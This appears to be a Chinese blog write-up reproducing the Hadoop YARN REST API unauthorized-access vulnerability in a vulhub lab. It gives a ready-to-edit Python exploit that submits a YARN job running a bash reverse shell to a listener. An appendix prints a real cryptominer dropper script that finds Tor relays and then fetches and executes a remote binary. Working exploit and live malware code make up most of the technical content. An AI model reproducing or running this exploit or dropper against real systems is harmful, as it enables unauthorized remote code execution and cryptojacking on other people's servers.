环境: vulhub+centos
环境搭建步骤: 1 2 3 cd hadoop/unauthorized-yarn/docker-compose up -d docker ps查看状态
复现步骤: 1、采用以下脚本,修改相关URL/ip/port
hadoop.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requeststarget = 'http://192.168.116.132:8088/' lhost = '192.168.116.132' url = target + 'ws/v1/cluster/apps/new-application' resp = requests.post(url) print(resp.text) app_id = resp.json()['application-id' ] url = target + 'ws/v1/cluster/apps' cmd = '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost data = { 'application-id' : app_id, 'application-name' : 'get-shell' , 'am-container-spec' : { 'commands' : { 'command' : cmd, }, }, 'application-type' : 'YARN' , } print(data) requests.post(url, json=data)
2、开启监听,这里我在hadoop本地开的
3、执行脚本即可
4、在这里记录下我的坑:docker启动hadoop后,发现有4个容器,刚开始不知道是哪个容器执行了命令,找了半天,最后发现触发执行命令的在nodemanager这个容器内,如果创建了文件,也是在这个容器才能找到。我的docker环境不能访问外网,在docker-compose.yml文件加了network_mode:host配置能访问外网了但是不能成功连接外网监听,最后直接在docker服务器上开启了监听才成功连接的。
更新于11.13 某天刷公众号看到https://mp.weixin.qq.com/s/Em8ZmqHY7N8DNQ3uJl16ag分析到了我上次遇到的坑,这里补充下:
Hadoop2.0之后加入了YARN集群,Yarn集群的主节点承担了资源调度,Yarn集群的从节点中会选出一个节点(这个由redourcemanager决定)进行应用程序的调度。
更新于11.16 想起上次大佬服务器中了挖矿病毒,让我学习的挖矿就是跟这个漏洞有关,当时我没仔细去看,今天刚好分析下。于是问大佬要服务器环境,上去看了下貌似都清理干净了。
于是去网上搜了下.unixdb.sh成功找到一篇心仪的文章记一次Linux挖矿木马清除 学习了下,另外附上上次大佬给的学习地址:Hadoop Yarn REST API 未授权漏洞利用挖矿分析
附录: 大佬聊天记录给的脚本,分析脚本,发现该脚本主要功能是从远程地址下载恶意程序并执行,主要的代码注释如下
/home/yarn/.unixdb.sh 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 HDtLGYpXoNJVjcOT+tWEIJWYO+veDD+ftynLBTXOMpFl8jur3TPmuWCQFvISC1t2 exec &>/dev/null export PATH=$PATH :$HOME :/bin:/sbin:/usr/bin:/usr/sbin:/usr/local /bin:/usr/local /sbind=$(grep x:$(id -u): /etc/passwd|cut -d: -f6) c=$(echo "curl -4fsSLkA- -m200" ) t=$(echo "unixdbnuadxmwtob" ) sockz () {n=(dns.hostux.net dns.dns-over-https.com uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh.centraleu.pi-dns.com doh.dns.sb doh-fi.blahdns.com fi.doh.dns.snopyta.org dns.flatuslifir.is doh.li dns.digitale-gesellschaft.ch) p=$(echo "dns-query?name=relay.tor2socks.in" ) s=$($c https://${n[$((RANDOM%12))]} /$p | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" |tr ' ' '\n' |sort -uR|head -1) } fexe () {for i in $d /tmp /var/tmp /dev/shm /usr/bin ;do echo exit > $i /i && chmod +x $i /i && cd $i && ./i && rm -f i && break ;done } u () {sockz fexe f=/int.$(uname -m) x=./$(date|md5sum|cut -f1 -d-) $c -x socks5h://$s :9050 $t .onion$f -o$x || $c $1 $f -o$x chmod +x $x ;$x ;rm -f $x } for h in tor2web.in tor2web.ch tor2web.io tor2web.to tor2web.sudo if ! ls /proc/$(head -1 /tmp/.X11-unix/00)/status; then u $t .$h else break fi done